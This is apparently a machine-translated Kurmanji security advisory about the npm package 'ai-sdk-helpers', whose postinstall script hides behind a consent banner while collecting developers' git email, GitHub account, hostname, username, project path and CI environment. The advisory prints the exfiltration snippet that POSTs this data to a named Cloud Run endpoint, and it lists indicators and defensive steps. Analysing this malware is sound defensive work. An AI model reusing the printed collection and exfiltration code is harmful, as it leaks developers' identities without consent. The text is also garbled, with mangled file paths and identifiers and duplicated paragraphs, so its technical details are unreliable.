TL; DR
Pakêtek npm ya yekane, alîkarên-ai-sdk, xwe wekî amûrek hilberînê ji bo Vercel AI SDK pêşkêş dike, şopandina lêçûnê, vegera dabînker, û alîkarên weşana zindî pêşkêş dike.
Skrîpta wê ya dema sazkirinê bi pankarteke eşkerekirinê ya xweşikkirî vedibe ku diyar dike teşhîsên anonîm, soz dide ku tu koda çavkaniyê, nîşanekan, an bawernameyan nayên şandin, rêzgirtina li a DO_NOT_TRACK redkirin, û girêdana bi rûpelek siyaseta telemetrîyê.
Dûv re heman skrîpt nasnameya git a pêşdebir, mîhengê CLI ya GitHub, navê mêvandarê makîneyê, navê bikarhênerê OS, peldanka xebatê, û pêşkêşvanê CI dixwîne.
Ew dane wekî JSON ji bo xala dawî ya Google Cloud Run têne POST kirin, ku nelihevhatinek eşkere di navbera polîtîkaya telemetrîyê ya diyarkirî û zeviyên rastîn ên berhevkirî de diafirîne.
Pakêt di nav teqînek 83 saniyeyî de bi bîst û du guhertoyan hate weşandin, û skrîpta sazkirinê li seranserê hemî guhertoya nîşankirî byte-bi-byte yek e.
Heft ji heşt guhertoyên ku ji hêla me ve hatine nirxandin pipeline ji hêla dabeşkerê ML ve nezelal hatin nirxandin ji ber ku şêwaza pankarta razîbûnê wekî telemetrîya rewa dixwîne.
Em dabeş dikin ai-sdk-helpers wekî zirardar li ser bingeha berhevkirin û derxistina nasnameya pêşdebirê dema sazkirinê.
Giranî: bilind.
Anatomiya sazkirinê
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } piştî sazkirinê bixweber dixebite npm saz kirin, berî ku tu kodên reklamkirî yên pakêtê werin importkirin. Skrîpt skrîpt/postinstall.js ev cihê ku hemû tevgerên dema sazkirinê lê dimînin e.
Ew bi blokek şîroveyan û agahdariyek dema xebitandinê ya ku di qeyda projeyek çavkaniya vekirî ya hişmend a nepenîtiyê de hatî nivîsandin vedibe:
>Dema ku hûn ai-sdk-helpers saz dikin, em kontrolkirina lihevhatina jîngehê ya bilez dimeşînin û tespîtên anonîm radigihînin… Daneyên bi tevahî anonîm in - em platforma we, guhertoya Node, û hashek yekalî ya nasnameya makîneya we berhev dikin. Koda çavkaniyê, nîşanekan, an jî bawernameyan qet nayên şandin.
Ew tewra deriyekî opt-out-ê yê dixebite jî, koda yekem a bicîhkirî di pelê de, vedike:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } pêşî girêdana vê derî ew e ku yên mayî wekî razîbûn têne xwendin: pêşdebirê ku destnîşan dike `D_NE_ŞOPANDIN` sazkirinê bêdeng temam dike û di encamê de pakêt rêziknameyê bi cih tîne. Veqetandina bi rûmet rast e. Tiştê ku ew vedigire, ji bo her kesê ku wê saz nake, berhevoka ku li jêr tê vegotin e - ne "platform, guhertoya Node, û hashek yekalî" ya tengtir ku navnîşana agahdariyê ye.
Li binê wê derî, senaryo bargiraniyek berhev dike ku ji wê danasînê pir derbas dibe.
- *Gnasname.* rçareserkirinScmNasname()` serên `~.gitconfig`,`~.config/git/config`,û `projeya heyî`.ew/config`,şîrovekirina `[ser]` ection, û mîhengkirî vedigerîne commit email. Heke tu pelê mîhengê emailekê nede, ew vedigere `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,û `EAIL` guhêrbarên jîngehê. Belgefîlmek li jor fonksiyonê xwendinê wekî rêyek "ji bo rakirina dubarekirina sazkirinan li ser makîneyên ku xwediyê heman kesî ne (mînak laptop + CI)" çarçove dike - armancek diyarkirî ku nasnameyek ji bo her pêşdebirê stabîl hewce dike, ku commit malzemeyên e-nameyê.
- *GHesabê tHub.* rçareserkirinaGitHubIdentity()` serên `~.config/gh/hosts.yml` û `~.config/gh/hosts.yaml` pelê mîhengê ku ji hêla GitHub CLI ve hatî nivîsandin dema ku pêşdebir rast dike - û regex-ê `u derdixeer:` û `eêş:` zevî. Ew pel her wiha nîşana GitHub OAuth jî hildigire; regexa skrîptê bi taybetî xetên navê bikarhêner û e-nameyê hedef digire û nîşanê dernaxe. Ji ber vê yekê îdiaya "tu nîşanek... qet nayên şandin" a pankarta eşkerekirinê ji bo wê zeviyê rast e dema ku nasnameyên hesabê yên derdorê têne xwendin û şandin.
- *Hst û şopa tiliyê CI.* paşê senaryo `o'yê berhev dike.hostname()`,`o.Agahiyên bikarhêner().navê bikarhêner`,guhertoya Node, platform û mîmarî, `ppêvajo.cwd()`,û etîketeke pêşkêşvanê CI ku bi kontrolkirina guhêrbarên jîngehê ji bo heşt pêşkêşvanan (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, û du alayên CI-ya gelemperî) çareser dibe. Lîsteya pêşkêşvanan wekî envanterek li cihê ku skrîpt hêvî dike ku were bicîhanîn tê xwendin - qalikên înteraktîf û avakirina otomatîk. pipelinewek hev in.
Ev hemû di yek `d`yê de hatine kom kirinagnostîk` bject, bi qadên ji bo her pêşdebirê ku di bin `i de hatine berhevkirinhebûn` ey û daneyên mêvandar di bin `r dentime` û `cntext` eys, paşê rêzefîlm kirin û şandin:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); bersiv tê avêtin û hemû çewtî tên daqurtandin - şîroveyek destnîşan dike ku "telemetry divê qet sazkirinê neşkîne." Navê mêvandarê xala dawîyê karûbarek Google Cloud Run di `e de kod dikerope-west1` egion
Ev valahî çîrok e. Pankart sê kategoriyên daneyan bi nav dike - platform, guhertoya Node, hash-a nasnameya makîneyê. Barkêş git-a rastîn a pêşdebir dişîne. commit email, navê bikarhêner û emaila wan a GitHub, navê mêvandarê makîneya wan û navê hesabê OS-ê, rêya projeya wan, û jîngeha CI-ya wan. Zeviyên ku *p destnîşan dikinrson û hesabên wan* tam ew qadên ku eşkerekirin ji bîr kiriye.
README çarçovekirina ji aliyê din ve xurt dike. Beşa wê ya "Telemetry" îdiaya anonîmîteyê dubare dike û peyva `D bi hev ve girêdide._NE_ŞOPANDIN` o `cnsoledonottrack.com`,rûpela civaka rastîn ku peymana redkirinê belge dike - deynkirina nepenîyek pejirandî standard da ku agahdarî wekî rûtîn were xwendin.
Timeline
Ev vedîtinek pakêtek yekane ye ku xwedî dîrokek weşanê ya pir kurt û pir qelew e. Qedexeya kampanyayek çend-hefteyî tune ku were şopandin - tevahiya rêza guhertoyan bi leza makîneyê hate pêşve xistin.
| Kengî (UTC) | Bûyer |
|---|---|
| 2026-06-03 20:31:20 | Versiyona yekem (0.1.0) ji bo npm hatiye weşandin. |
| 2026-06-03 20:31:20 – 20:32:43 | Hemû 22 guhertoyên (0.1.0 bi saya 1.4.2) di teqînek otomatîkî ya 83 saniyeyî de hate weşandin. |
| 2026-06-04 | Heşt guherto ji hêla sînyalên tespîtkirinê ve hatin nîşankirin; analîza destî berhevkirin û derxistina nasnameyê di dema sazkirinê de piştrast dike. Pakêt di dema analîzê de li ser npm-ê zindî ma. |
Pencereya 83-çirkeyan li seranserê 22 guhertoyên semantîk bi xwe nîşaneyek tevgerî ye: rêza guhertoyê (`01.0`,`01.1`,… `14.2`)rûyê projeyek bi awayekî çalak tê parastin bi dîroka berdanê re, ku di yek xebitandina skrîptî de hatî hilberandin, pêşkêş dike. Skrîpta sazkirinê li seranserê wê rêzê naguhere - li jêr binêre.
Nîşaneyên lihevhatinê
Barkirina dema sazkirinê li seranserê rêza guhertoya weşandî yek e. A `dff` f`sripts/postinstall.js` guhertoya navbera `02.1` guhertoya 1emîn4.2` ti cudahî venagerîne; tevger şopa tiliyê ya sabît e, ne barekî ku pêş dikeve ye.
Têkelî
Pencereya 83-çirkeyan li seranserê 22 guhertoyên semantîk bi xwe nîşaneyek tevgerî ye: rêza guhertoyê (`01.0`,`01.1`,… `14.2`)rûyê projeyek bi awayekî çalak tê parastin bi dîroka berdanê re, ku di yek xebitandina skrîptî de hatî hilberandin, pêşkêş dike. Skrîpta sazkirinê li seranserê wê rêzê naguhere - li jêr binêre.
Nîşaneyên lihevhatinê
Barkirina dema sazkirinê li seranserê rêza guhertoya weşandî yek e. A `dff` f`sripts/postinstall.js` guhertoya navbera `02.1` guhertoya 1emîn4.2` ti cudahî venagerîne; tevger şopa tiliyê ya sabît e, ne barekî ku pêş dikeve ye.
Têkelî
| indicator | Role |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Xala dawî ya derxistinê daxwazên HTTPS POST bi barkirinên JSON werdigire. Li ser Google Cloud Run di europe-west1 Herêm. |
Binesaziya xapandinê
| indicator | Role |
|---|---|
ai-sdk.guide | Rûpela sereke ya pakêtê û malpera zindî ya ku nasnameya nivîskarê "Rêbernameya AI SDK" piştgirî dike. |
ai-sdk.guide/telemetry | URL-ya siyaseta telemetrîyê ku di agahdariya eşkerekirina dema sazkirinê de hatî behs kirin. |
hello@ai-sdk.guide | E-nameya nivîskar hatîye ragihandin li package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Depoya çavkaniyê ya ji hêla pakêtê ve hatî ragihandin. |
Pelên ku di dema sazkirinê de têne xwendin
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` poste
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `enexweş
Îmzeyên reftarî
- – m `psazkirin` ok skrîptek Node ya pakêt vedixwîne
- - deriyê vekişînê (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NE_ŞOPÎNIN`)wekî taybetmendiyek nepenîtiyê, berî berhevkirina nasnameyê tê pêşkêş kirin
- – tbound HTTPS POST a hêmanek JSON ku e-nameya git, nasnameya GitHub, navê mêvandar, navê bikarhênerê OS, cwd, û etîketa CI dihewîne
- - skrîpta sazkirinê ya yekreng li seranserê guhertoyek bilez a weşandî
Wesfkirin û Reftarên Çavdêrîkirî
Em ji bilî tiştên ku pakêt û metadatayên qeydê tomar dikin, tiştekî din nagirin nav xwe.
Parêzvanê tomarê npm hesabê `a yeielsimon`,bi navnîşana `aiel@vigilance.security`.Qeyda wê e-nameyê wekî nehatî verastkirin û nasnameya kontrola çavkaniyê ya hesabê wekî nehatî verastkirin nîşan dide. `pckage.json`,cuda cuda, nivîskar wekî "Rêbernameya AI SDK" pêşkêş dikeello@ai-sdk.guide>`”bi rûpela sereke ya `a-sdk.rêber` û depoyeke çavkaniyê di bin `g derêxistina thub.com/ai-sdk-guide`. Domaina e-nameya hesabê weşanê (`vigilance.security`)û nasnameya nivîskarê di pakêtê de (`a-sdk.rêber`)domenên cuda ne.
`a-sdk.rêber` ite zindî ye û bersiv dide, û `/elektrîte` ath çareser dibe - nasnameya xapînok ji hêla hebûnek malperê ya gihîştî ve tê piştgirî kirin, ne ji girêdanek mirî, ku baweriya çarçoveya pakêtê zêde dike.
**Şiyanên çavdêrîkirî.** Di dema sazkirinê de, pakêt pelên nasnameya pêşdebir û mîhengkirina hesabê dixwîne, şopa tiliyên mêvandar û jîngeha CI digire, û encaman ji xalek dawî ya ku ji hêla operator ve tê kontrol kirin re dişîne, di heman demê de agahdariyek nîşan dide ku komek daneyên tengtir û anonîm vedibêje. Em vê tevgerê vedibêjin; em motîvek ji bo wê îdia nakin. Xwendevanên ku pakêtê dinirxînin - tevî her aliyek ku nasnameya weşanê nas dike - divê nelihevhatina çavdêrîkirî di navbera herikîna daneyên diyarkirî û rastîn de binirxînin.
Bandor, meyl û rêbername ji bo parêzvanan
Kî eşkere bûye. Her kesê ku saz dike alîkarên-ai-sdk — rasterast an wekî girêdayîbûnek veguhêz — berhevokê li ser wê makîneyê dimeşîne. Ji ber ku tetikker e piştî sazkirinê, koda pirtûkxaneya reklamkirî qet ne hewce ye ku ji bo herikîna daneyan were hinartin; sazkirin bi tena serê xwe bes e. Jîngehên bi nirxa herî bilind stasyonên xebatê yên pêşdebiran in ku xwedî nasnameyek git a mîhengkirî û CLI-yek GitHub-a pejirandî ne, û CI-xebitîner in, ku tespîtkirina dabînkerê CI-yê ya skrîptê nîşan dide ku tê payîn ku berhevok di hundurê avahiyê de bixebite. pipelines û her weha li ser laptopan jî.
Tiştê ku ew eşkere dike. Ne sirên serîlêdanê di rewşa gelemperî de - barkêş li ser disekine nasnameya: pêşdebir commit email, navê hesabê wan ê GitHub û email, navên makîne û hesabê, û rêya projeyê. Ew pêşwext ecisNexşeya kê pakêt saz kiriye, li ser kîjan makîneyê, di kîjan depoyê de, û di bin kîjan pergala CI de. Ji bo rêxistinekê, çend tomarên weha bi hev re dê nîşan bidin ka kîjan endezyaran û kîjan pergalên avakirinê girêdayîbûnê kişandine - wekî pêşengek ji bo çalakiya şopandinê ya bêtir armanckirî kêrhatî ye, her çend tevgera vê pakêtê bi xwe di berhevkirin û veguhastinê de raweste.
Trend: telemetrî wekî bergiriyek. Amûrên pêşdebirên rewa teşhîsên sazkirinê yên anonîm berhev dikin, û rêziknameyên ji bo kirina wê bi rêzdarî - agahdariyek eşkerekirinê, a NEŞOPÎNE rûmet, alayek vekişînê, URL-ya polîtîkayê - baş têne zanîn. alîkarên-ai-sdk her çar peymanan bi dilsozî dubare dike û wan wekî pêçan ji bo berhevkirina nasnameyê bikar tîne. Hebûna pankarteke razîbûnê, vebijarkek derketinê ya dixebite, an girêdanek siyaseta nepenîtiyê ne delîl e ku pakêtek pêbawer e; teqlîdkirina wan kontrolan erzan e. Tenê kontrolkirina pêbawer ew e ku kod bi rastî çi dixwîne û ew bi rastî wê dişîne ku derê.
Ev pakkirin bandorek pîvanbar li ser triyaja otomatîk jî dike. Li seranserê guhertoyên me pipeline nirxandin, şîroveyên bi zimanê sade yên skrîptê sazkirinê, navên qadên birêxistinkirî, û deriyê vekişîna kevneşopî wekî telemetriya asayî hatin nirxandin: heft ji heştan vegeriyan bêtesîr ji dabeşkerê ML-ê ne xerab e. Sînyala ku nezelaliyê çareser dike ne di nivîsê de ye - ew di pelên taybetî yên ku senaryo vedike de ye (~/.gitconfig, ~/.config/gh/hosts.yml) û cihê ku ew dişîne. Nirxandinek, otomatîk an mirovî, ku eşkerekirinê dixwîne û li wir raweste, dê bigihîje encamek xelet; divê biryar ji rastiyên herikîna daneyan were.
Rêbername ji bo parêzeran:
- Bi skrîptên ku bi xweber neçalak in saz bike — npm sazkirin –skrîptên-îxbarkirinê, an jî danîn îhmalkirina-scripts=rast in .npmrc û gavên avakirinê yên piştrastkirî bi awayekî eşkere bimeşînin. Ev bêbandor dike piştî sazkirinê-berhevkirina çalakkirî li seranserê panelê.
- Kontrolên derketinê wekî nîşanên baweriyê bihesibînin. A NEŞOPÎNE kontrolkirin an girêdana "siyaseta telemetrîyê" dema ku derî nehatibe danîn, di derbarê daneyên ku skrîptek berhev dike de tiştekî ji we re nabêje.
- Berî ku pakêtên alîkar ên ekosîstema AI qebûl bikin, çengela sazkirinê bixwînin. Cihê SDK-ya AI ya Vercel armancek bilez û pêbawer e; a piştî sazkirinê ku dest dide ~/.gitconfig or ~/.config/gh/ nîşanek zelal e bêyî ku şîroveyên derdorê çawa hatine nivîsandin.
- Çavdêriya derketina dema avakirinê. POST-ek HTTPS-ya derketî di dema npm saz kirin, bi taybetî ji bo xaleke dawî ya fonksiyona ewr a nû peydakirî, li qata torê tê dîtin û xaleke tespîtkirinê ya bihêz ji bo jîngehên CI ye.
- Li pêpelokên guhertoyên pêçayî binêre. Pakêtek ku tevahiya dîroka guhertoya semantîk a wê di nav çend saniyan de xuya dibe, bi skrîptek sazkirinê ya neguherbar, dîrokek lênêrînê ya çêkirî pêşkêş dike.





